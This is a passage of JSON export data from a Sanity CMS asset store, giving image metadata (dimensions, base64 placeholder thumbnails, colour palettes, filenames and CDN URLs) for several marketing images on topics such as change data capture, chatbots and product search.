A/AUFdxjSqKE1I2q12VHECausL1Uc2a+tYaplA3tZvKlc7JpHoR9nUbXIoFEtGyulj1vCjfJ5pmXTtGS1WvcQpxPd3d3VuFyuejAyPXtrcEasgrS6fQcM7227EIVVt1Iu6bwdPieSl4mEOsX4gHxfMCDfnxXoVueml68udjScNikXSm1bliWbzbbvdDoPFv5b+Fwo4PKFArVSq0FfBy6Xyr6m5ow2VYc1Nfaym+8PLbe08dB7D56hd9tGtI2NfVeH666Fm1VS5n+FezAMo9vb2xoEQerBokxWAymVkN5g2IFheNvldEpt+lVW2xcVQYnvXWFk5NwUX6RxHWQaF07/8IYsMYVT3sr8NNS8ImNazJsKq9WKOhyOgx+1rz+USCS0lZWVVp1O17OxsdFj3jS16FcU6VXFpb6BIbkpBCLzFjGR0x6bUP4wIuaz+pNBlLTawqLj60oJ1WQ0Pt3a2lqy2+1yGIafOxyOSsDj8TAikShcLBYTJFIpAZLJ8MKJMe8CSr4bNijnTTzhk5NhBHpwaCQ9OCQi/xQGS/K6zijykM4IwrSa1Y/0ej3dYDAcSNFoNLHgABRF/+cBk5Mo4L0wgCH+KhjkqUH/4CoQzaMgAON7KDMj4zCDwXBns9lHWCzWkeLiYncSieT2D7SpUJNay+QxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3038","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04943c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#636c94","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6b4d2","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e181bf","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#636c94","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9388b","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-change-data-capture.png","path":"images/sczeoy4w/production/4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c-1616x1090.png","sha1hash":"4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c","size":46152,"uploadId":"iaSWPoW3eARiso31bjYsQ4qasPeg63Fv","url":"https://cdn.sanity.io/images/sczeoy4w/production/4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c-1616x1090.png"} {"_createdAt":"2024-06-20T23:32:22Z","_id":"image-d89639e9e350430bec562518919f349ce98c061f-1616x1394-png","_rev":"2rELLQTW1ADhr05h4OPu9v","_type":"sanity.imageAsset","_updatedAt":"2024-06-20T23:32:22Z","assetId":"d89639e9e350430bec562518919f349ce98c061f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCQm3YlorW%Lu5Fz^OXTNHwH00r]tRxusmrDu4a0RPXmcHiwf,ofnN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1592539454806312,"height":1394,"width":1616},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABYlAAAWJQFJUiTwAAADzUlEQVQ4jU2US28cRRRG5w8iIYGChMgKVrBjxQ4hhMKChwgotmzHTuLEOIFIJMZJbA92nGBkoSQmsWf8HHtmel7d1dX16up52M6B6RGIxdWtKpXOrbrfV1Ww/jVSDwhajnrTEqsByp7RjjKqgea4rkZRG+Vm6OmIjM1nx8zOP2HyWpHp2TVW1kq0Ik/BpOeU99vcvrvB3J2n7Oy2CFqW4toOk9PLjE08ZHzqEWN5LLHw8AUvS02mZ1e5+P7XvP3uF1x47xKXvrrLQUVQ0O6U7XKNudur3JpfZadco95ULC1tMf7tL/zwzc9cGb/H2MQCY5MPuP/gOVvbARMzy7xz8RJvvPUpb174jM+/nGf3oEPBuAFBI2R3r8JRpY4QCqk81aOQnfUy27/vUN45Yu+gyv5hg1pD0Whbik9LXJ56xHdj95icXmSp+IJGS4+AkZAIIbDWkDqPNR4VW+KmIOkIjDZ47/G+S+p6KOU5qrV5XjqktFfhpNogjBTK9IY9PCWWKgcqpXAuHQGlRUQyj0QZrPVY18WaHkanKBkQh2WkaGDMsGAXmw7+BWqiKEJKiUs9Lu3np+i0JM0gRAiDtn2Ge216jnF9YhXSFkeEoonWmvT/wEgo2u2QOJZYl+H8AGP7xJEhbCckicemZwwt5jLQ6RmB8hwITStWaG1xaRczBA5V7kSWekPQaEnixKPtAONOMbqHVhlmOE/PR8D0LC8mEk9HulxAYzKM6+U3KCRmQCu0VKoRJzVBKByJ6aHsIAdr08/Hyp7mRZzt4xKLqx2T7vyJ394kLT3DVStYnVGQqkcn0rl1OqFEm2Hzezksh7rTPA8LD+FDUVwYk20sMLj2CafjHzGY+pju0jXSdmcEFNIQRWIkinO4NEOqFJmkaJuhTZdEd1G6i4xTdLNN78kdzic+5PXli5xf+YD+4jhpq0Uhkh4Ra4SI/wOmPsutkiQKa4cN9xg7XMsQwqI6Eb39TQbrM/SWvmfweJpeaQMnDYVGW7F3UGPrrzLl3UNOqk3qQUjluMHhUY3KcUC11qI5FEymSOkxUtNr7uFf/YrenCN9uYgP9klkSiFoKVZWnzNx9T5TM4vMzhWZ/2mduTtrXL+5nMeNWyv8trpFvRYRRYYkknQbZdzLBeI/bmK2FjDVMlFoKISxZ31jl+nZIpMzy1y9UWT2x8fcnF/n6vWVfG3q+gpLxS2CQOae1NLQ7Zzg9jdIXi1j9zewzRNi4SiM/j7PSV1RqSUc1xKqgRr9hbWESlXmudlxuXVc7sVTMm3IRAsfBmSiTZpo9D9v+W9xQcX8FjFCGwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333a59","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e144d","foreground":"#fff","population":6.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e144d","foreground":"#fff","population":6.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a9c8","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93e1f8","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c76b0","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f43404","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Customer Service Chatbot SQUARISH v2.png","path":"images/sczeoy4w/production/d89639e9e350430bec562518919f349ce98c061f-1616x1394.png","sha1hash":"d89639e9e350430bec562518919f349ce98c061f","size":170700,"uploadId":"m9RoM9la5KO0e8PXbo4ncDYK5q3zhSqY","url":"https://cdn.sanity.io/images/sczeoy4w/production/d89639e9e350430bec562518919f349ce98c061f-1616x1394.png"} {"_createdAt":"2024-06-20T23:32:53Z","_id":"image-6f7ee6a88f38f3f48463632b41817879460206da-1659x1396-png","_rev":"UEcq9VZT1LAO45csdNMVRQ","_type":"sanity.imageAsset","_updatedAt":"2024-06-20T23:32:53Z","assetId":"6f7ee6a88f38f3f48463632b41817879460206da","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eBQJl=%M~UxuOI4nof9ERj_3bdof00Rk~p9Fj@M}af-.4oj[tSayoH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1883954154727794,"height":1396,"width":1659},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABYlAAAWJQFJUiTwAAADkElEQVQ4jW2U7W8UVRSH9w80MfGDMSaK0WjUGImS6IfG2IgSK4UQULQfpARqqgEKhKBV0KVKa2UtraUv2+122+2+zMzOy32bmX1recxcuqlRP5zMnczvPHPuuef+ctLs8XC5xuTVOcYv57n4zT1uTS+yVRXo5DEmxT4HaxXvUyz7TN0qcHHintVfmvyV/G/rOK2UXCC6XLs5z5tHz/PCK6McefU0H3w0wYOFik3+N1DoPWbuF3lvaNxqX3rtNC+/foazX96mvBNmwA63p/9k6MNx3nrnc94+9gWjZ66yuLyDivcsxKQZbADsM/dHiU9GJjl67LyNd98f48KlO1SqITmp+2xXPeYfrPJzvkB+ZoG/lss4nkSaPllLQrVHIPu2ugxYawgWFkvcm1ngl3yB2bll1jdq+FGbnK0i7iCEpNl0cD0PbWK06RCIHlW3Q2FTMluM2KileGEXqTuYOKHV8mk0GjY3TjrouP8EGCddtNZ4nkcQBCRJaoFu0KNQ0nz1U4XR25tMLwZUnQ5Sd0nbHaut12sopUjbvUNgVqHWxgrCMMLEMcp08MI+hZLh3A9lTtwo8v1CQNXtItVBhb5PvV4nEoI4aR8CtU7RyiCFREqF1glBlFDekfy+6DCV32LyTom78zXWNiNaQYI2if15y/MRkbQ5yvTI6XgPJROUMMhQISKNVCnlSouJ7+5zfGSKj09etzF84gpjF+6yst6wmihURIFEihglYrTuZsB9jExRocZpBNR3PaJAsbS0zdDwZZ5+9jjPvTjC80c+46lnhnnj6Hnuz64RtCT1mkfLFWjVxsjkAJjsY1QbFRnqdZ/tbYewJdjabDLx7QyfnrrGqbM3OH3uJidOXmHs6x9ZXdnBdyMqlSbNZnQATDH/BGYhRJswSlC6SyjaVKoRK0WXR+suK1kUXcrbIX6Y2oMJwgQhOxjTOwSaDJi9ZNvWXXT2Me6jdA8v6LC1G7NaEjzaiNjcMTh+NjZPNJlW6S4mm0uZDICPbXUyUDhOiOtEyFCjRELTTVjdFMw/dJgt1FlaC9htxMgoQYsYzxU0GiGhLzEyxpj+AdD0EVFsYa4b2bWUKW4rpVzVLK+7LK00KW4J6k6CEKk91QEw8LNR65DtNmcvf+Ym2fiYvo3BOpRda0mVqk9526XuGvwou3qHmqw1NidrXfKYnLZu8t/I7CqzL6F7tMIYz9dEsmsdaGBl/5fzNyk+zYAqXLizAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343a59","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043484","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cab6a9","foreground":"#000","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab6a9","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4d5fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#608cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#045cad","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Semantic Product Search SQUARISH.png","path":"images/sczeoy4w/production/6f7ee6a88f38f3f48463632b41817879460206da-1659x1396.png","sha1hash":"6f7ee6a88f38f3f48463632b41817879460206da","size":143692,"uploadId":"49uiroR98drpXDZi849F1xyb3xp6BCqK","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f7ee6a88f38f3f48463632b41817879460206da-1659x1396.png"} {"_createdAt":"2024-06-20T23:33:14Z","_id":"image-ef42805bf411be4315eafef8e9c3d9990e7596ba-1646x1396-png","_rev":"2rELLQTW1ADhr05h4OPwdo","_type":"sanity.imageAsset","_updatedAt":"2024-06-20T23:33:14Z","assetId":"ef42805bf411be4315eafef8e9c3d9990e7596ba","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6Qv%pR44:?w?uM_?wROi^xupJ.9RPIVM{Rp_1D%WXx[Iw_2M|t6%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.179083094555874,"height":1396,"width":1646},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABYlAAAWJQFJUiTwAAADU0lEQVQ4jY2UaW8cRRCG5y8jJOADvwEkEEEiSEQQESmgBEzkYGzHcUIkJ5Yd7yaOz+zh9RzdPdPH9Fy7cfKg6RygCCQ+vKrqmu53qt6q7sjV8H9gq1cBvS+KOZsPjrn07QqffbnE51/d4vrNLU4nhkiZBaMzy8lYk+Xtu4PyTXw0s/R73sbLBhLZcGPpIR9/+h0ffPQNH35ymS++vsXTw4RoPLPcXt3j5q1HHJykWP8CW73k+VSH+Mr6gPFZgfNzrF/gqgtk0fJo54Sfb27y041Nfll6wL0HT5nFmmhyrtm4N+CPtW1ORzGlb7CuZTyRbGzusXl/j8k0QWuLtT5807ZFSEOaSqQqsLbEVw1lNSdSuiZOc+JEkBcG72tK15DnJXEiOY8z0kyglMIah7M1xtRoU2KtxXtP27bM5wuqZkGk3YKeNJOOVFgyWZIKHyBzj7b94QpdOJzpM+wwbv46ZvqsHb6qqJsOX8+J+kbsDM74fX3I8uoet9cGLK8OuL025OHOiFj419qZGqcrXNlreYF2XfiZcTW2bHC+C/uiOPPcvb/PD9fu8P2P68FeubrG1WsbrN8dEqcGX80Doc1LjO5JFuR2HpqTqoZMNSjdUbgFUW5aRpOU4ZMTnj0bsb97zODPp+wPnnNwmnAuLM63lKaikAaZGfKiQhYd06Tl8LnjaOSYpS1Sz4lMOScvLEIInNaY44R86xQ9kexPc/bGCmVqfF+echQ9co9QLaNZw/CgYHhYBD/Lu78JpewJDXoikMMp+ZnkYCp4MhYoXVLaBmdbXGhIh8g7pnHN/rHg2bEMfiAs3JxUGM7OBXGiOJ9JknNJrjSZyEkyRRE6XOPKfrBfYfxLCrsgVTWjqWR8psjyhtwuiHpRtx+PWF7ZYWl5m+XVXR4Px0hhKFQ/vDlSaGxRhuzeXsEeunyB0i3KdJjyIsSiWVry29qQS1fWuHxlhWvX77L16AgpLLlyxHGByDQ2d+8I/+vRcDVEiaq5szvl13sHbO0ecXA4DqUb7VHCMpspsrTP0IeSA8E/iN5H1Nd9kpQcxQ4ZBreh9B2ubJHSMZ0KkkRjbYerXr7J5lXQ8n2ykGEvsC4vgh7GX4Rb0FvXW9shZEle1GHdE4WDb/Ev7+ZfymfqEC1OecMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333a5c","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e144d","foreground":"#fff","population":3.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e144d","foreground":"#fff","population":3.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ea6c9","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2d9f9","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac744c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec4794","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Personalized Communcations SQUARISH V2.png","path":"images/sczeoy4w/production/ef42805bf411be4315eafef8e9c3d9990e7596ba-1646x1396.png","sha1hash":"ef42805bf411be4315eafef8e9c3d9990e7596ba","size":150268,"uploadId":"AlZU9KHYd1ltv7xN05eKqi2riyXCKxDl","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef42805bf411be4315eafef8e9c3d9990e7596ba-1646x1396.png"} {"_createdAt":"2024-09-04T11:36:51Z","_id":"image-6a89ff928a2b213610c5755c326955b2e35586e8-1200x630-png","_rev":"EyMM3FfV3Ih5n1NWrh4YIH","_type":"sanity.imageAsset","_updatedAt":"2024-09-04T11:36:51Z","assetId":"6a89ff928a2b213610c5755c326955b2e35586e8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBB38w0v,oOw:|bVTN}h0,tR-pVrE,w]$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADCklEQVQokS3S2U/bBQDA8d8/MBkUetBjvcC2tFBosbS0UnrDKEeLHGWtK5Sj0BaKw8E414aGY1ciqC+8MRMmcWTEeSTGl0Vj4gOJ2YsxGh989V/4mqn/wCf5Jl/hLXGcKsl7VMtGqalPUKtIIVZNIVHPItUsINUuItMtI9N/SL1+DaWhTKPtUyzuL+jwPycT2+c0d5tfSn38/diHIJKPojdnaG5fwNKep8VRpNW5QqtzlTbXBm2ubazOHUz2HdSmTVTGMg2tx5g7z3H4Lrg18JiPZ2Z5tR7jj70IgvRGgvbORcLRTSIDO4T7SwT7yoSiFSIDB/QMPiQ88Ahv5CE29x6Gtj0a2o5ocp1h8z6nL3zEVmKJz3IpXiwn3oAT2DsX6R3cJjZWoXewjNu/icu3hTtQwhOs4Anu4Q4e0NF9iMVxgMH2EVbPU+zeZ/jefUK+p8BufIqVwQKCWDmO2ZalK7RKuH8HT2Adg3UJjamAxlhEbbyDxnQXrfkeOssW+pZdmp3HdIbPCN4843bgPvv+OAf+IfKeaYRq2QhK/fs0Ns/RZMtjsBZQG3MoGnPIdHkk6gJiTRGJdgWpbg2tZReH74RI/JKx8Rfsxla57HHyud/BYVcU4Zp4mOuyEUSKBOIbKaSaSWTaGWTaeaSaHFJNAZV+iUZTEaN5BYu9QnfvU2LJ70hNfc/62CNOe6OchgLc704iXKuLUyWOc1068u82NfIkInmaWuU0dap55No87dZ5xv0ZZm9mmOjbYHjsjOTsj0wu/MxE4pJ0+AmTgX36uz9BqBbHUNTHUWsmUDWkkajT/4GKDLXKLCpdjqg7w4PkKOf5IU4KOT5YeMZc8YrsndcMJV/hCr3kHd9L7L6vEETiIXTKGMa3k+ibpqnXTSFS/A+qsih1Ofo9GU6m41xtR/ihnOHw3jnL679S3PidkfRPOELfYPV+jdX7JUJVXQyRJI5YPkqd6hYiRYoaeRqR4k1yFqkmj8c+x1F6mN8qAV4/SHNcumCt9Cd3S3+RmLmiI/wtLV2XNHsu+AdR67By3xVMsAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4577","foreground":"#fff","population":1.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041e6c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7f33","foreground":"#000","population":2.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6abd2","foreground":"#000","population":0.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c3b","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5caf","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7f33","foreground":"#000","population":2.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Google_Cloud_London_2024.png","path":"images/sczeoy4w/production/6a89ff928a2b213610c5755c326955b2e35586e8-1200x630.png","sha1hash":"6a89ff928a2b213610c5755c326955b2e35586e8","size":240871,"uploadId":"W58thNCZUOI3qvr73G7mhl7KqMrArhTD","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a89ff928a2b213610c5755c326955b2e35586e8-1200x630.png"} {"_createdAt":"2024-06-14T14:36:13Z","_id":"image-43f8d719c7340d2b66c5c5a3293efb65402d9232-2500x2500-png","_rev":"kdgc7UFRhHqFdI6LqHZWqm","_type":"sanity.imageAsset","_updatedAt":"2024-06-14T14:36:13Z","assetId":"43f8d719c7340d2b66c5c5a3293efb65402d9232","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e397PO01nu0M00KVIntCI9^6DgE1%O-pW@U_#8-:TxAb5iEzaj-6^3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3b6d","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0440a4","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#676db8","foreground":"#fff","population":0.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2a490","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#676db8","foreground":"#fff","population":0.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4518c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec4a14","foreground":"#fff","population":0.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"G2 Hero image.png","path":"images/sczeoy4w/production/43f8d719c7340d2b66c5c5a3293efb65402d9232-2500x2500.png","sha1hash":"43f8d719c7340d2b66c5c5a3293efb65402d9232","size":678999,"uploadId":"Y3mbZ9uLeXjN4XuQaZVS8qFyKxhxGJqD","url":"https://cdn.sanity.io/images/sczeoy4w/production/43f8d719c7340d2b66c5c5a3293efb65402d9232-2500x2500.png"} {"_createdAt":"2024-08-29T08:41:27Z","_id":"image-ad3337fc4cac01884968f6c00b727af867cadde1-1200x628-png","_rev":"uQRNMiDfrp20RZ8Id8zikv","_type":"sanity.imageAsset","_updatedAt":"2024-08-29T08:41:27Z","assetId":"ad3337fc4cac01884968f6c00b727af867cadde1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97x34%BD$t5V@?wtQIUkCa~D$V[xaa$ob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACQklEQVQokR3P+1bScAAA4L1Bmbv8dmd3BooViKZYauAGBBsQolh60OMNATFUBBybgKaWiXm0jp2Or9qxB/j++CCMXRjyb42GqoHQF/9kbXy6MTFrBd+2/SEnON2bDF++0/sz8duJ2WtpxMHFQ1xsEFKLEI9w4QAiuPzYVFVLWlrSnola4Q8d3TyPpr5pxvd45iad/71YeJxfeYxlfvlDX12eFilbpHJCym1StiDgWnz9phSJN6OGoyVPdKMXS10ksldG7iadv88uP2SX/5qLf1L5hzmj7xvrsZ4urZ7S6injOYcwduHl2E443oyZTtToaMnuXPJMNy4S2b6Ru01k76Lpe828S+buNeNqOHhCu21KcWi1x3ovIYTK+Ua330cbMdPRjc60bo/PWFORrmZe6eZ1JNkPJ37Oxm8048dU5EzyNXGxjosNSrEZ9Qx6Dj4S/JLoXVNGttRXZclXZtWSOFzzBprewLF31B4Kdj2BjjdwLI3UKfmQkBqE1CSkY9rdgZ6h6QGQGSTmB6k8TC/DdAFh1lFXEePKGFcGfAUXarh4APgqxu/iYp1SbFJp//ct6AWWoskMzy+x8irgCoNUAabXEXYbZUsIW4SZTZQtYdwuxlUwfo+QmpS7QyptXKwDYR9CQEpk0qryWRraIMU1mF6F6XWU2cZcZdS1gzCbCFvEuArgq0DYJ2XrCcstXNgHfA0aAGmEyGBUDmU/IfQKTK0izAbGFgFXwbgKyhZR1w7g93ChRoiHlNum3A4hHT1dhNo/ZrqkMYK9JOMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242551","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5daea","foreground":"#000","population":7.63,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7ec4","foreground":"#fff","population":0.32,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697098","foreground":"#fff","population":1.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover.png","path":"images/sczeoy4w/production/ad3337fc4cac01884968f6c00b727af867cadde1-1200x628.png","sha1hash":"ad3337fc4cac01884968f6c00b727af867cadde1","size":151192,"uploadId":"HtWdQrJrFMlN7Pq5u5hpCPZEVlUnvLfl","url":"https://cdn.sanity.io/images/sczeoy4w/production/ad3337fc4cac01884968f6c00b727af867cadde1-1200x628.png"} 